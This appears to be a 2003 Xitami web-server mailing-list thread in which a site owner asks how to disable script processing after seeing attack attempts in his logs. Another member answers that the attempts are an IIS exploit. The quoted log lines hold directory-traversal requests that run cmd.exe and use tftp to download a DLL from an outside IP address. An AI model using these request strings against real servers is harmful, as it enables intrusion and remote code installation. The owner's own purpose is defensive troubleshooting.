[Xitami] Security Issue - Disabling Script Processing

[Rob @ BMM]

No, This log file excerpt was indeed created by Xitami.  I just stripped off
the front of the error strings for brevity.  I have long since moved away
from that IIS crap.

Your assertion that Xitami is not affected by "it" would be incorrect.  In
addition, the Win2K system that I have has ALL recent updates and security
patches applied.

In addition, to the other gentlemen's comment, this has also nothing to do
with a firewall or not.  This hack is coming in on port 80 which the
firewall has no control over.  The router routes port 80 traffic to our
internal web server correctly.

What this issue pertains to, is that Xitami allows this kind of script
processing to occur.  I need a method to prevent it from occurring within
Xitami.  Xitami should NOT allow paths outside of the local web folder
environment which these kinds of hacks take advantage of.

Believe me, I have been studying this issue for months.  I believe Xitami
has a config element that helps to control or eliminate it, but I am unsure
which one and how to implement it.

Best Regards,
Rob Allen
President, Blue Marble Meds LLC.  Offering 30-75% off Prescription Meds
See us at http://www.BlueMarbleMeds.com



-----Original Message-----
From: xitami-admin@lists.xitami.org
[mailto:xitami-admin@lists.xitami.org]On Behalf Of TW
Sent: Tuesday, January 14, 2003 11:49 AM
To: xitami@lists.xitami.org
Subject: Re: [Xitami] Security Issue - Disabling Script Processing


I am way sure, that this is the wrong list. You most probably sent us a
log-file excerpt created by IIS. What you see is a typical IIS exploit,
based on the fact that IIS interprets unicode wrong.

This is a Xitami list. Xitami is not affected by it and returns four-o-four.

Tony

At 10:40 14.01.2003 -0700, you wrote:
>Hi,
>
>Please forgive me if I have not sent this correctly to the group.
>
>Can somebody help me with this.
>
>Periodically, I see in the access logs and error logs, an attempt from a
>hacker to run certain types of scripts in a cmd window such as the
>following:
>
>"GET
>/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20
G
>ET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>"GET
>/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20
G
>ET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>"GET
>/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20
G
>ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>"GET /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
>"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 ""
""
>"GET
>/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GE
T
>%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>"GET
>/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GE
T
>%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>"GET
>/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GE
T
>%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>
>Notice that the hacker successfully used tftp to send some info back to
>himself.  My router logs confirmed that this occurred.  I have since
>eliminated all access rights to tftp.  Not even the admin has rights
>anymore.  Since this is on a Win2k system, you just can't delete or rename
>certain system executables such as cmd.exe or tftp.exe.  Windows just
>restores it automatically.
>
>The question is: Since I run a simple HTML only site and don't need CGI
>processing, what can I do to eliminate all script processing of this
nature.
>
>PS - The rest of you probably encounter some of these same security issues.
>You should check.
>
>Best Regards,
>Rob Allen
>President, Blue Marble Meds LLC.  Offering 30-75% off Prescription Meds
>See us at http://www.BlueMarbleMeds.com
>
>
>
>--
>Xitami Users Mailing List -- For Xitami support
>To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami


--
Xitami Users Mailing List -- For Xitami support
To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami